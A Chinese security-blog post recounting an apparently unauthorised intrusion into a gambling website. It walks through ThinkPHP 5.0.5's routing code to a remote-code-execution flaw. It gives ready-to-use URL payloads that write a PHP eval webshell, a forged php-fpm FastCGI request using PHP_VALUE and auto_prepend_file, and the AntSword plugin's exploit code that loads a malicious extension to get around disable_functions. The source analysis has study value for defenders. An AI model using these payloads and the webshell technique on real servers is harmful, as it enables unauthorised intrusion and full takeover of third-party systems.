利用Thinkphp RCE以及php-fpm绕过disable function拿下菠菜

阅读量1469180

|评论8

|

发布时间 : 2019-11-22 14:30:02

 

前几天遇到了一个菠菜网站,本旨着菠菜网站都是毒的理念,对目标网站进行了一次渗透过程,记录分享一下

首先日常进行信息收集,这个网站很奇怪,爆破目录之后,除了个别的一些信息泄露,就只剩下登陆注册忘记密码这种了,在常规的万能密码,逻辑漏洞,暴力破解无效之后,我在一次出错的页面捕捉到了网站使用的框架是think PHP5.0.5

瞬间思路就打开了,还记着之前think PHP存在着因为对控制器名没有进行严格过滤导致的任意代码执行漏洞,下面来具体分析一下这种漏洞

 

漏洞分析

首先thinkphp5改变了入口方式,和tp3有所不同,我们从入口文件public/index.php开始一步步进行分析,首先是入口文件

// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

加载框架引导文件,跟进/thinkphp/start.php

// ThinkPHP 引导文件
// 1. 加载基础文件
require __DIR__ . '/base.php';

// 2. 执行应用
App::run()->send();

继续跟进run()方法,因为问题主要是发生在路由检测的问题上,所以我们需要找到路由检测的代码

// 未设置调度信息则进行 URL 路由检测
            if (empty($dispatch)) {
                $dispatch = self::routeCheck($request, $config);
            }

找到进行路由检测的代码了,继续进行跟踪routeCheck($request, $config)

public static function routeCheck($request, array $config)
    {
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;

        // 路由检测
        $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
        if ($check) {
            // 开启路由
            if (is_file(RUNTIME_PATH . 'route.php')) {
                // 读取路由缓存
                $rules = include RUNTIME_PATH . 'route.php';
                is_array($rules) && Route::rules($rules);
            } else {
                $files = $config['route_config_file'];
                foreach ($files as $file) {
                    if (is_file(CONF_PATH . $file . CONF_EXT)) {
                        // 导入路由配置
                        $rules = include CONF_PATH . $file . CONF_EXT;
                        is_array($rules) && Route::import($rules);
                    }
                }
            }

            // 路由检测(根据路由定义返回不同的URL调度)
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
            $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

            if ($must && false === $result) {
                // 路由无效
                throw new RouteNotFoundException();
            }
        }

通过这句话 $path = $request->path(); 我猜测会得到poc的路径
跟进path函数我们验证一下

 public function path()
    {
        if (is_null($this->path)) {
            $suffix   = Config::get('url_html_suffix');
            $pathinfo = $this->pathinfo();
            if (false === $suffix) {
                // 禁止伪静态访问
                $this->path = $pathinfo;
            } elseif ($suffix) {
                // 去除正常的URL后缀
                $this->path = preg_replace('/.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
            } else {
                // 允许任何后缀访问
                $this->path = preg_replace('/.' . $this->ext() . '$/i', '', $pathinfo);
            }
        }
        return $this->path;
    }

根据$this->path = $pathinfo;跟进pathinfo()

public function pathinfo()
    {
        if (is_null($this->pathinfo)) {
            if (isset($_GET[Config::get('var_pathinfo')])) {
                // 判断URL里面是否有兼容模式参数
                $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
                unset($_GET[Config::get('var_pathinfo')]);
            } elseif (IS_CLI) {
                // CLI模式下 index.php module/controller/action/params/...
                $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
            }

因为var_pathinfo的默认配置为s,我们可利用$_GET[‘s’]来传递路由信息,也就是?s=,并且因为ThinkPHP并非强制使用路由,如果没有定义路由,则可以直接使用“模块/控制器/操作”的方式访问,所以,经过组合我们的poc为?s=模块/控制器/操作
继续跳回到routeCheck函数.
因为$result = false;,我们跟踪到了这里

if (false === $result) {
            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
        }

跟进parseUrl()

public static function parseUrl($url, $depr = '/', $autoSearch = false)
    {

        if (isset(self::$bind['module'])) {
            $bind = str_replace('/', $depr, self::$bind['module']);
            // 如果有模块/控制器绑定
            $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
        }
        $url              = str_replace($depr, '|', $url);
        list($path, $var) = self::parseUrlPath($url);
        $route            = [null, null, null];
        if (isset($path)) {
            // 解析模块
            $module = Config::get('app_multi_module') ? array_shift($path) : null;
            if ($autoSearch) {
                // 自动搜索控制器
                $dir    = APP_PATH . ($module ? $module . DS : '') . Config::get('url_controller_layer');
                $suffix = App::$suffix || Config::get('controller_suffix') ? ucfirst(Config::get('url_controller_layer')) : '';
                $item   = [];
                $find   = false;
                foreach ($path as $val) {
                    $item[] = $val;
                    $file   = $dir . DS . str_replace('.', DS, $val) . $suffix . EXT;
                    $file   = pathinfo($file, PATHINFO_DIRNAME) . DS . Loader::parseName(pathinfo($file, PATHINFO_FILENAME), 1) . EXT;
                    if (is_file($file)) {
                        $find = true;
                        break;
                    } else {
                        $dir .= DS . Loader::parseName($val);
                    }
                }
                if ($find) {
                    $controller = implode('.', $item);
                    $path       = array_slice($path, count($item));
                } else {
                    $controller = array_shift($path);
                }
            } else {
                // 解析控制器
                $controller = !empty($path) ? array_shift($path) : null;
            }
            // 解析操作
            $action = !empty($path) ? array_shift($path) : null;
            // 解析额外参数
            self::parseUrlParams(empty($path) ? '' : implode('|', $path));
            // 封装路由
            $route = [$module, $controller, $action];
            // 检查地址是否被定义过路由
            $name  = strtolower($module . '/' . Loader::parseName($controller, 1) . '/' . $action);
            $name2 = '';
            if (empty($module) || isset($bind) && $module == $bind) {
                $name2 = strtolower(Loader::parseName($controller, 1) . '/' . $action);
            }

            if (isset(self::$rules['name'][$name]) || isset(self::$rules['name'][$name2])) {
                throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url));
            }
        }
        return ['type' => 'module', 'module' => $route];
    }

其中$url= str_replace($depr, '|', $url);是很重要的,它把$url中的符号’/‘替换为’|’也就是模块|控制器|操作
然后通过list($path,$var)=self::parseUrlPath($url);
跟进parseUrlPath($url)

private static function parseUrlPath($url)
    {
        // 分隔符替换 确保路由定义使用统一的分隔符
        $url = str_replace('|', '/', $url);
        $url = trim($url, '/');
        $var = [];
        if (false !== strpos($url, '?')) {
            // [模块/控制器/操作?]参数1=值1&参数2=值2...
            $info = parse_url($url);
            $path = explode('/', $info['path']);
            parse_str($info['query'], $var);
        } elseif (strpos($url, '/')) {
            // [模块/控制器/操作]
            $path = explode('/', $url);
        } else {
            $path = [$url];
        }
        return [$path, $var];
    }

$path = explode('/', $url);它会将变量$url变为数组,此时$path数组的值为如下

$path=array[3]
$path[0]=模块
$path[1]=控制器
$path[2]=操作

然后返回到parseUrl()函数,继续往下跟,跟到解析控制器部分
$controller = !empty($path) ? array_shift($path) : null;
会得到控制器部分
$action = !empty($path) ? array_shift($path) : null;
会得到操作
至于模块

// 默认模块名
'default_module'         => 'index',

然后会封装路由,数组变量$route为

$route=array[3]
$route[0]=模块(index)
$route[1]=控制器
$route[2]=操作

最后一行代码return后会以数组的形式返回到routeCheck()
这里数组有所改变

 array[2]:
 array['type']=moudle
 array['moudle']=array[3]

返回routeback()

public static function routeCheck($request, array $config)
    {
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;
        // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
        if (false === $result) {
            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
        }

        return $result;
    }

也就是上述代码中数组变量$result接受返回的数据,然后再将数组变量$result结果返回到run()


            // 未设置调度信息则进行 URL 路由检测
            if (empty($dispatch)) {
                $dispatch = self::routeCheck($request, $config);
            }

            // 记录当前调度信息
            $request->dispatch($dispatch);

            // 记录路由和请求信息
            if (self::$debug) {
                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
                Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
            }

            // 监听 app_begin
            Hook::listen('app_begin', $dispatch);

            // 请求缓存检查
            $request->cache(
                $config['request_cache'],
                $config['request_cache_expire'],
                $config['request_cache_except']
            );

            $data = self::exec($dispatch, $config);
        } catch (HttpResponseException $exception) {
            $data = $exception->getResponse();
        }

$dispatch获取到值,开始追踪$dispatch到$data = self::exec($dispatch, $config);通过这行代码开始追踪exec()

protected static function exec($dispatch, $config)
    {
        switch ($dispatch['type']) {
            case 'redirect': // 重定向跳转
                $data = Response::create($dispatch['url'], 'redirect')
                    ->code($dispatch['status']);
                break;
            case 'module': // 模块/控制器/操作
                $data = self::module(
                    $dispatch['module'],
                    $config,
                    isset($dispatch['convert']) ? $dispatch['convert'] : null
                );
                break;
            case 'controller': // 执行控制器操作
                $vars = array_merge(Request::instance()->param(), $dispatch['var']);
                $data = Loader::action(
                    $dispatch['controller'],
                    $vars,
                    $config['url_controller_layer'],
                    $config['controller_suffix']
                );
                break;
            case 'method': // 回调方法
                $vars = array_merge(Request::instance()->param(), $dispatch['var']);
                $data = self::invokeMethod($dispatch['method'], $vars);
                break;
            case 'function': // 闭包
                $data = self::invokeFunction($dispatch['function']);
                break;
            case 'response': // Response 实例
                $data = $dispatch['response'];
                break;
            default:
                throw new InvalidArgumentException('dispatch type not support');
        }

        return $data;
    }

因为$dispatch[‘type’]为module,所以跳到case 'module': // 模块/控制器/操作跟进module函数

public static function module($result, $config, $convert = null)
    {
        if (is_string($result)) {
            $result = explode('/', $result);
        }

        $request = Request::instance();

这里的$result函数为

$result=array[3]
result[0]=模块(index)
result[1]=控制器
result[2]=操作

继续跟进module函数,出现问题了

        // 获取控制器名
        $controller = strip_tags($result[1] ?: $config['default_controller']);
        $controller = $convert ? strtolower($controller) : $controller;

        // 获取操作名
        $actionName = strip_tags($result[2] ?: $config['default_action']);
        if (!empty($config['action_convert'])) {
            $actionName = Loader::parseName($actionName, 1);
        } else {
            $actionName = $convert ? strtolower($actionName) : $actionName;
        }

就在这里,没有对控制器做出一个足够的检测,就获取控制器名了,导致可以任意调用,我们就可以使用反射执行类的方法,进行任意函数执行,现在poc也就变成了?s=index/thinkapp/invokefunction然后继续跟进

// 设置当前请求的控制器、操作
        $request->controller(Loader::parseName($controller, 1))->action($actionName);

这里把操作名变量$actionName为invokefunction,继续往下跟module函数

// 获取当前操作名
        $action = $actionName . $config['action_suffix'];

        $vars = [];
        if (is_callable([$instance, $action])) {
            // 执行操作方法
            $call = [$instance, $action];
            // 严格获取当前操作方法名
            $reflect    = new ReflectionMethod($instance, $action);
            $methodName = $reflect->getName();
            $suffix     = $config['action_suffix'];
            $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
            $request->action($actionName);

        } elseif (is_callable([$instance, '_empty'])) {
            // 空操作
            $call = [$instance, '_empty'];
            $vars = [$actionName];
        } else {
            // 操作不存在
            throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
        }

        Hook::listen('action_begin', $call);

        return self::invokeMethod($call, $vars);

is_callable因验证thinkapp中存在invokefunction方法,所以会进入到这个if语句,然后获取类名和方法名.最后一行return到invokeMethod,继续跟进

public static function invokeMethod($method, $vars = [])
    {
        if (is_array($method)) {
            $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
            $reflect = new ReflectionMethod($class, $method[1]);
        } else {
            // 静态方法
            $reflect = new ReflectionMethod($method);
        }

        $args = self::bindParams($reflect, $vars);

        self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');

        return $reflect->invokeArgs(isset($class) ? $class : null, $args);
    }

$args = self::bindParams($reflect, $vars);数组变量$args会获取POC中的余下的参数,参数中我们就可以使用call_user_func_array来调用函数了.最后组合的poc为

?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?phpinfo();?>

最后的return会调用invokeArgs函数,此函数的作用是使用数组方法给函数传递参数,并执行函数,所以最终执行call_user_func_array函数。此时会返回到exec函数,retuen $data,将$data传到run()函数中,此时命令就已经执行成功了.

既然已经可以进行上传getshell了,那当然直接传个小马进去

?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell2.php&vars[1][]=<?php eval($_POST[xm])?>i

但是问题来了,虽然是直接getshell了,但是没有办法去进行命令执行,然后跑去phpinfo看一下disable_function

果然给禁止了,那接下来就是想办法绕过disable_function了,绕过办法有好多,但是看目标开启了FPM功能,那自然是用fpm来绕过disable_function

 

php-fpm来绕过disable function

php-cgi

既然是利用PHP-FPM,我们首先需要了解一下什么是PHP-FPM,研究过apache或者nginx的人都知道,早期的websherver负责处理全部请求,其接收到请求,读取文件,传输过去.换句话说,早期的webserver只处理html等静态web.

但是呢,随着技术发展,出现了像php等动态语言来丰富web,形成动态web,这就糟了,webserver处理不了了,怎么办呢?那就交给php解释器来处理吧!交给php解释器处理很好,但是,php解释器如何与webserver进行通信呢?为了解决不同的语言解释器(如php、python解释器)与webserver的通信,于是出现了cgi协议。只要你按照cgi协议去编写程序,就能实现语言解释器与webwerver的通信。如php-cgi程序。

fast-cgi

有了cgi,自然就解决了webserver与php解释器的通信问题,但是webserver有一个问题,就是它每收到一个请求,都会去fork一个cgi进程,请求结束再kill掉这个进程.这样会很浪费资源,于是,出现了cgi的改良版本,fast-cgi。fast-cgi每次处理完请求后,不会kill掉这个进程,而是保留这个进程,使这个进程可以一次处理多个请求.这样就会大大的提高效率.

fast-cgi record

其实说白了,cgi协议就和HTTP协议相同,是进行数据交换/通信的一个协议,类比HTTP协议来说,cgi协议是webserver和解释器进行数据交换的协议,它由多条record组成,每一条record都和http一样,由header和body组成,webserver将这二者按照cgi规则封装好发送给解释器,解释器解码之后拿到具体数据进行操作,得到结果之后再次封装好返回给webserver.
其中使用cgi协议封装之后的请求是这样子的


typedef struct 
{
HEAD
    unsigned char version;              //版本
    unsigned char type;                 //类型
    unsigned char requestIdB1;          //id
    unsigned char requestIdB0;          
    unsigned char contentLengthB1;      //body大小
    unsigned char contentLengthB0;
    unsigned char paddingLength;        //额外大小
    unsigned char reserved;       
BODY
   unsigned char contentData[contentLength];//主要内容
   unsigned char paddingData[paddingLength];//额外内容
}FCGI_Record;

解释器在解析了fastcgi头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是contentData,也就是主要内容,后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,不需要的时候,指定为 0 即可.

其中发送类型很重要,具体的发送类型如下:

type值 具体含义
1 在与php-fpm建立连接之后发送的第一个消息中的type值就得为1, 用来表明此消息为请求开始的第一个消息
2 异常断开与php-fpm的交互
3 在与php-fpm交互中所发的最后一个消息中type值为此,以表明交互的正常结束
4 在交互过程中给php-fpm传递环境参数时,将type设为此, 以表明消息中包含的数据为某个name-value对
5 web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm,这种消息的type就得设为5
6 php-fpm给web服务器回的正常响应消息的type就设为6
7 php-fpm给web服务器回的错误响应设为7

看完这个基本就会清楚了,webserver和解释器进行通信,第一个record就是type=1,然后发送type为4,5,6,7的record,结束时发送type为2,3的record.

php-fpm

前面说了那么多,那php-fpm是什莫东西呢?

其实FPM就是fast-cgi的协议解析器,webserver使用cgi协议封装好用户的请求发送给谁呢? 其实就是发送给FPM

FPM按照cgi的协议将TCP流解析成真正的数据.

例如:

我们搭建一个LNMP的服务器,然后创建一个name.php,然后功能是接收并且echo Get类型请求参数,我们的name.php在/var/www/html内,这时我们发送一个请求/name.php?name=alex,此时,Nginx会将这个请求变成如下key-value对:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/name.php',
    'SCRIPT_NAME': '/name.php',
    'QUERY_STRING': '?name=alex',
    'REQUEST_URI': '/name.php?name=alex',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '6666',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

如果有熟悉php开发的小伙伴就会知道,这个是PHP中$_SERVER中的一部分,FPM在拿到经过封装的数据包之后,进行解析,然后,执行SCRIPT_FILENAME指向的php文件.

攻击方式

这里由于FPM默认监听的是9000端口,我们就可以绕过webserver,直接构造fastcgi协议,和fpm进行通信.于是就有了利用 webshell 直接与 FPM通信 来绕过 disable functions.

因为前面我们了解了协议原理和内容,接下来就是使用cgi协议封装请求,通过socket来直接与FPM通信.

但是能够构造fastcgi,就能执行任意PHP代码吗?答案是肯定的,但是前提是我们需要突破几个限制.

  1. 第一个问题
    既然是请求,那么SCRIPT_FILENAME就相当的重要,因为前面说过,fpm是根据这个值来执行php文件文件的,如果不存在,会直接返回404,所以想要利用好这个漏洞,就得找到一个已经存在的php文件,好在一般进行源安装php的时候,服务器都会附带上一些php文件,如果说我们没有收集到目标web目录的信息的话,可以试试这种办法.
  2. 第二个问题
    我们再如何构造fastcgi和控制SCRIPT_FILENAME,都无法做到任意命令执行,因为只能执行目标服务器上的php文件.
    那要如何绕过这种限制呢? 我们可以从php.ini入手.它有两个特殊选项,能够让我们去做到任意命令执行,那就是auto_prepend_file.
    auto_prepend_file的功能是在在执行目标文件之前,先包含它指定的文件,这样的话,就可以用它来指定php://input进行远程文件包含了.这样就可以做到任意命令执行了.
  3. 第三个问题
    进行过远程文件包含的小伙伴都知道,远程文件包含有allow_url_include这个限制因素的,如果没有为ON的话就没有办法进行远程文件包含,那要怎末设置呢?
    这里,FPM是有设置PHP配置项的KEY-VALUE的,PHP_VALUE可以用来设置php.ini,PHP_ADMIN_VALUE则可以设置所有选项.这样就解决问题了.

最后构造的请求如下

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/name.php',
    'SCRIPT_NAME': '/name.php',
    'QUERY_STRING': '?name=alex',
    'REQUEST_URI': '/name.php?name=alex',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '6666',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

这里附上P神的EXP

利用 webshell 直接与 FPM通信 来绕过 disable functions

这里就得益于蚁剑的插件了,实现了webshell绕过disable funcrion

使用完插件是上传了.antproxy.php和.so库,下面分析一下怎末实现的

其实前面讲完原理之后就特别好分析,.antproxy.php其实就是一个代理,关键代码为

$headers=get_client_header();
$host = "127.0.0.1";
$port = 60802;
$errno = '';
$errstr = '';
$timeout = 30;

这里结合上下代码就能知道,webshell向60802发送了payload

,通过ps -aux | grep 60802查看发现是重新启用了一个php服务,然后使用了-n也就是不使用php.ini,从而绕过了disdisable functions

exploit() {
    let self = this;
    let fpm_host = '';
    let fpm_port = -1;
    let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000
    if (self.form.validate()) {
      self.cell.progressOn();
      let core = self.top.core;
      let formvals = self.form.getValues();
      let phpbinary = formvals['phpbinary'];
      formvals['fpm_addr'] = formvals['fpm_addr'].toLowerCase();
      if (formvals['fpm_addr'].startsWith('unix:')) {
        fpm_host = formvals['fpm_addr'];
      } else if (formvals['fpm_addr'].startsWith('/')) {
        fpm_host = `unix://${formvals['fpm_addr']}`
      } else {
        fpm_host = formvals['fpm_addr'].split(':')[0] || '';
        fpm_port = parseInt(formvals['fpm_addr'].split(':')[1]) || 0;
      }
      // 生成 ext
      let wdir = "";
      if (self.isOpenBasedir) {
        for (var v in self.top.infodata.open_basedir) {
          if (self.top.infodata.open_basedir[v] == 1) {
            if (v == self.top.infodata.phpself) {
              wdir = v;
            } else {
              wdir = v;
            }
            break;
          }
        };
      } else {
        wdir = self.top.infodata.temp_dir;
      }
      let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${self.top.infodata.phpself}`;
      let fileBuffer = self.generateExt(cmd);
      if (!fileBuffer) {
        toastr.warning(PHP_FPM_LANG['msg']['genext_err'], LANG_T["warning"]);
        self.cell.progressOff();
        return
      }

      new Promise((res, rej) => {
        var ext_path = `${wdir}/.${String(Math.random()).substr(2, 5)}${self.ext_name}`;
        // 上传 ext
        core.request(
          core.filemanager.upload_file({
            path: ext_path,
            content: fileBuffer
          })
        ).then((response) => {
          var ret = response['text'];
          if (ret === '1') {
            toastr.success(`Upload extension ${ext_path} success.`, LANG_T['success']);
            res(ext_path);
          } else {
            rej("upload extension fail");
          }
        }).catch((err) => {
          rej(err)
        });
      }).then((p) => {
        // 触发 payload, 会超时
        var payload = `${FastCgiClient()};
          $content="";
          $client = new Client('${fpm_host}',${fpm_port});
          $client->request(array(
            'GATEWAY_INTERFACE' => 'FastCGI/1.0',
            'REQUEST_METHOD' => 'POST',
            'SERVER_SOFTWARE' => 'php/fcgiclient',
            'REMOTE_ADDR' => '127.0.0.1',
            'REMOTE_PORT' => '9984',
            'SERVER_ADDR' => '127.0.0.1',
            'SERVER_PORT' => '80',
            'SERVER_NAME' => 'mag-tured',
            'SERVER_PROTOCOL' => 'HTTP/1.1',
            'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
            'PHP_VALUE' => 'extension=${p}',
            'PHP_ADMIN_VALUE' => 'extension=${p}',
            'CONTENT_LENGTH' => strlen($content)
            ),
            $content
          );
          sleep(1);
          echo(1);
        `;
        core.request({
          _: payload,
        }).then((response) => {

        }).catch((err) => {
          // 超时也是正常
        })
      }).then(() => {
        // 验证是否成功开启
        var payload = `sleep(1);
          $fp = @fsockopen("127.0.0.1", ${port}, $errno, $errstr, 1);
          if(!$fp){
            echo(0);
          }else{
            echo(1);
            @fclose($fp);
          };`
        core.request({
          _: payload,
        }).then((response) => {
          var ret = response['text'];
          if (ret === '1') {
            toastr.success(LANG['success'], LANG_T['success']);
            self.uploadProxyScript("127.0.0.1", port);
            self.cell.progressOff();
          } else {
            self.cell.progressOff();
            throw ("exploit fail");
          }
        }).catch((err) => {
          self.cell.progressOff();
          toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
        })
      }).catch((err) => {
        self.cell.progressOff();
        toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
      });
    } else {
      self.cell.progressOff();
      toastr.warning(LANG['form_not_comp'], LANG_T["warning"]);
    }
    return;
  }
}

上述代码就是一次攻击过程了,首先验证FPM是否可行,然后生成并且上传扩展,然后开始构造fastcgi封装请求来加载扩展,触发payload后,生成新的php server,每次执行命令的时候都会转发到60802进行执行.

命令执行成功

 

结语

这样一次渗透测试就结束了,后来发现,大多数的菠菜网站都是这类的架构和糟糕的服务器管理方式,学习渗透测试还是原理和实战相结合最好,不懂原理的渗透测试永远是没有灵魂的.

本文由Total Domination原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/193117

安全客 - 有思想的安全新媒体

分享到:微信
+123赞
收藏
Total Domination
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66